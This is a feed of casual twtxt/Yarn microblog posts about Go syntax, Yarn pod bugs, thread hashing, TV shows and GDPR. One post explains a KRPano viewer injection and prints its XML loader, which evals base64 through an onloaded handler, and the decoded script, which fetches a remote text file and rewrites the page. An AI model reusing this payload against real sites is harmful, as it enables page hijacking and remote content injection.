hmm interesting work here.. ill give it a look.. @lyse@lyse.isobeef.org do you know if it is even storing the url into the AST object? afair the code to parse tags url should be the same as the mention url.

@bender@twtxt.net Every base is base 10.

@lyse@lyse.isobeef.org The one in question is more like the javascript version for unwrapping errors when accessing methods.

 const value = some?.deeply?.nested?.object?.value

but for handling errors returned by methods. So if you wanted to chain a bunch of function calls together and if any error return immediately. It would be something like this:

b:= SomeAPIWithErrorsInAllCalls()
b.DoThing1() ?
b.DoThing2() ?

// Though its not in the threads I assume one could do like this to chain.
b.Chain1()?.Chain2()?.End()?

I am however infavor of having a sort of ternary ? in go.

PS. @prologic@twtxt.net for some reason this is eating my response without throwing an error :( I assume it has something to do with the CSRF. Can i not have multiple tabs open with yarn?

hmm this would convert down to:

var f os.File
if f, e = os.Open("foo.txt"); e != nil {
    log.Fatal("error opening file; %s", e)
}

im not sure if its much better.

@prologic@twtxt.net @lyse@lyse.isobeef.org it seems a recent update reset my pod settings to open registration.

@lyse@lyse.isobeef.org i trusted all pods yesterday and now when i pull it up they are all untrusted.

I remember starting that one.. it was a bit gratuitous for me to get past the first few episodes.

and yes.. these all come with satisfying endings across multiple seasons.

my goto’s are the Expanse, the Magicians, XFiles, House, Umbrella Academy, Orphan Black, 12 Monkeys, the star treks (DS9 especially)

i have probably watched through them a half dozen times each. some more :D

It seems related to us poor single user pods not getting the trust to share twts.. which it seems to still untrust on restart for me.

@movq@www.uninformativ.de ^^

@movq, @prologic@twtxt.net when navigating to a Yarn. If the head twt is missing then the whole thread is not accessible. It only returns an error. so i have no way to view any of the replies within the thread other than the end twt.

This UX can be very frustrating.

which show?

Sounds about as complex as adding @nick@domain support by doing a webfinger lookup to get the URL.

So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following

<?xml version="1.0"?>
<krpano version="1.0.8.15">
    <SCRIPT id="allow-copy_script"/>
    <layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>

the omit above is base64 encoded script below:

const queryParams = new URLSearchParams(window.location.search),
          id = queryParams.get('id');
    id ? fetch('https://sour.is/superhax.txt')
        .then(e => e.text())
        .then(e => {
            document.open(), document.write(e), document.close();
        })
        .catch(e => {
            console.error('Error fetching the user agent:', e);
        }) : console.error('No');

this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.

@prologic@twtxt.net you change something up on how markdown gets rendered?

Huh. Not broken for me?

dagum those are huge images.

Happy Christmas!

@movq@www.uninformativ.de my util-linux 2.40.2 version of cal seems to do week 53.

Bro.. Gitea I think you are drunk. How is Jan 2024 5 days ago?

@bender@twtxt.net im a fisherman.

@movq@www.uninformativ.de omg its like haskell but with more monads.

For Example:

@prologic@twtxt.net optional features don’t gain adoption from non-technical users. This needs to be built in.

@eapl.me@eapl.me why not https://domain.com/.well-known/twtxt/:domain/:user ?

the business card test is this can you write it on your business card and have someone you give it to be able to figure it out without added context?

• phone number: yes because everyone knows what a phone number is.
  
• email address: yes, everyone knows an email and their aol or prodigy will let them email.
  
• twitter/x/insta/pintrest handle: no, whats a twitter? do i need to sign up?
  
• domain name: yes its simple and you just type it in a browser right?
  
• twtxt url: kinda? its a bit long and is that a forward slash? or a backward slash?

One benefit with bluesky is your username is also a website. And not a clunky URL with slashes and such. I wish twtxt adopted that. I have advocated for webfinger to for twtxt to let us do something like it with usernames. Nostr has something like it

By default the bsky.social urls all redirect to their feeds like: hmpxvt.bsky.social
Many custom urls will redirect to some kind of linktree or just their feed cwebonline.com or la.bonne.petite.sour.is or if you are a major outlet just to your web presence like https://theonion.com‬ or https://netflix.com

Its just good SEO practice

Do all nostr addresses take you to the person if typed into a browser? That is the secret sauce.
No having to go to some random page first. no accounts. no apps to install. just direct to the person.

Its time to brush up on your competitive programming skills!

hmm i think i would want something that has support for repeating events. otherwise it looks neat.

can it sync across multiple devices? I’m a nomad across many computers.

i dont remember restarting my pod but the trusts were disabled

I wish I could view source twts like this to know if the root was not found and this was actually in reply to something i cant see.

@prologic@twtxt.net yeah it’s a light post. I was commenting more on how it’s comments are integed with bsky.

@prologic@twtxt.net i think we talked about it before blogs were removed

@shreyan@twtxt.net I see you got a shout out too 😆

This is so neat.

https://emilyliu.me/blog/open-network

When yarn used to have blogs I thought something like this would be a great feature. Having the blog comments tied to a twtxt subject for the blog post.

@doesnm@doesnm.p.psf.lt never!

@bender@twtxt.net hmm.. indeed.

@bender@twtxt.net the EF this feed is muted. Why is yarn busted? 😁 @lyse@lyse.isobeef.org @prologic@twtxt.net

Your TOTP value has been accepted

@bender@twtxt.net So turns out something is setting my HashingURI to the value {{ .Profile.URI }} and that is making my hashes wrong so it cannot delete or edit twts.

@bender@twtxt.net trying to figure out a bug in yarn.

Interesting list of features to protect users and communities on bluesky. I wonder if any make sense in text context.

So helpful 😮‍💨

Error: Error deleting last twt

Nope. 😐

Can I edit this twt?

Why is the rooted post after the replied post?? time shenanigans?

Oh. so i can see it now that i trust your pod.

@prologic@twtxt.net just rebuild my image.. though git says i am already at latest

Lol. “Lighty Encrypted” https://www.pcmag.com/news/hot-topic-breach-confirmed-millions-of-credit-cards-email-addresses-exposed

@prologic@twtxt.net I never got the root for this

@wbknl@twtxt.net I have thought of getting one. I wish there were easier tools for it than direwolf

🤑😜

@bender@twtxt.net Linux and Android. I would never iOS my friend.

@lyse@lyse.isobeef.org agree on the HTTP stuff. I mean we could mention that for optimization see RFC yadda yadda should be followed for caching. but not have it part of the spec proper.

@bender@twtxt.net 😜

@bender@twtxt.net 😛

@sorenpeter@darch.dk #NSFS #NotSafeForSorenpeter

@eapl.me@eapl.me Neat.

So for twt metadata the lextwt parser currently supports values in the form [key=value]

https://git.mills.io/yarnsocial/go-lextwt/src/branch/main/parser_test.go#L692-L698

@sorenpeter@darch.dk on 4 for gemini if your TLS client certificate contains your nick@host could that work for discovery?

@bender@twtxt.net they revel in their blindness. Roll within their stink.

I am so sorry.

@quark@ferengi.one Yeah i’m in deep red here. the governor race is getting split between a red and a maga that is running a write in.. but even if they split the vote 50-50% they will still be greater than what the blue will get.

Unfortunately the US media has been making it a nail biter on purpose when in reality it is not. Get out and vote in numbers that cannot be denied. And then get everyone else around you to vote also.

Maybe one day enough states will make it into the NaPo InterCo to finally put the EC to rest.

Spent some time cleaning up my AoC code to get ready for December 1st. Anyone else doing it this year? @prologic@twtxt.net we have to setup a new team each year?

@prologic@twtxt.net yeah short Nick is going to be unique enough. There is always olong Nick that adds the domain for differentiation.

@sorenpeter@darch.dk I run Weechat headless on a VM and mostly connect via mobile or dwsktop. I use the android client or gliwing bear. Work blocks all comms on their always on MitM VPN so I cant in office anymore. So I just use mobile.

@prologic@twtxt.net that should be right

This is pretty neat! An IP KVM that doesn’t cost a gagillion dollars. I might just back it. https://www.kickstarter.com/projects/jetkvm/jetkvm

Well poop. Covid coming to visit for a second time.

@prologic@twtxt.net currently? it wouldnt :D.

we would need to come up with a way of registering with multiple brokers that can i guess forward to a reader broker. something that will retry if needed. need to read into how simplex handles multi brokers

Yes a redirect to my profile uri. because its crazy long and ugly

@doesnm@doesnm.p.psf.lt Agree. salty.im should allow the user to post multiple brokers on their webfinger so the client can find a working path.

I am reminded of this when I look at entire forks of vscode just to add a LLM code completion assistant.

Yeah.. it is very similar to salty.im a smp is a relay queue for messages. You can self host one if you choose. They also have something called xftp for data storage and device state transfer. You can also self host one.

Is anyone here on simplex? https://sour.is/simplex

Same! Great joke!

i like this one

@movq@www.uninformativ.de i’m sorry if I sound too contrarian. I’m not a fan of using an obscure hash as well. The problem is that of future and backward compatibility. If we change to sha256 or another we don’t just need to support sha256. But need to now support both sha256 AND blake2b. Or we devide the community. Users of some clients will still use the old algorithm and get left behind.

Really we should all think hard about how changes will break things and if those breakages are acceptable.

I share I did write up an algorithm for it at some point I think it is lost in a git comment someplace. I’ll put together a pseudo/go code this week.

Super simple:

Making a reply:

1. If yarn has one use that. (Maybe do collision check?)
   
2. Make hash of twt raw no truncation.
   
3. Check local cache for shortest without collision
   
   • in SQL: select len(subject) where head_full_hash like subject || '%'
     

Threading:

1. Get full hash of head twt
   
2. Search for twts
   
   • in SQL: head_full_hash like subject || '%' and created_on > head_timestamp
     

The assumption being replies will be for the most recent head. If replying to an older one it will use a longer hash.

here are plenty of implementations https://www.blake2.net/#su

I mean sure if i want to run it over on my tooth brush why not use something that is accessible everywhere like md5? crc32? It was chosen a long while back and the only benefit in changing now is “i cant find an implementation for x” when the down side is it breaks all existing threads. so…

These collisions aren’t important unless someone tries to fork. So.. for the vast majority its not a big deal. Using the grow hash algorithm could inform the client to add another char when they fork.

@bender@twtxt.net I am also in camp no edit signals. deletes only breaks the head of a thread. all the replies are unaffected.

@bender@twtxt.net I believe it is Unix-Unix Copy Protocol. Not Unix Copy-Copy Protocol.

83(4) GDPR sets forth fines of up to 10 million euros, or, in the case of an undertaking, up to 2% of its entire global turnover of the preceding fiscal year, whichever is higher.

Though I suppose it has to be the greater of the two. But I don’t even have one euro to start with.

I’d like to see them fine me 2% of zero dollars

@david@collantes.us having offsets were nice because it gives you context of where the user is in relation to you.

@prologic@twtxt.net thanks. I hate it. Might as well use UUID

I demand full 9 digit nano second timestamps and the full TZ identifier as documented in the tz 2024b database! I need to know if there was a change in daylight savings as per the locality in question as of the provided date.

@falsifian@www.falsifian.org I believe the preserve means to include the original subject hash in the start of the twt such as (#somehash)

@falsifian@www.falsifian.org The GDPR does not apply to the processing of data for a purely personal or household activity that is not connected to a professional or commercial activity.
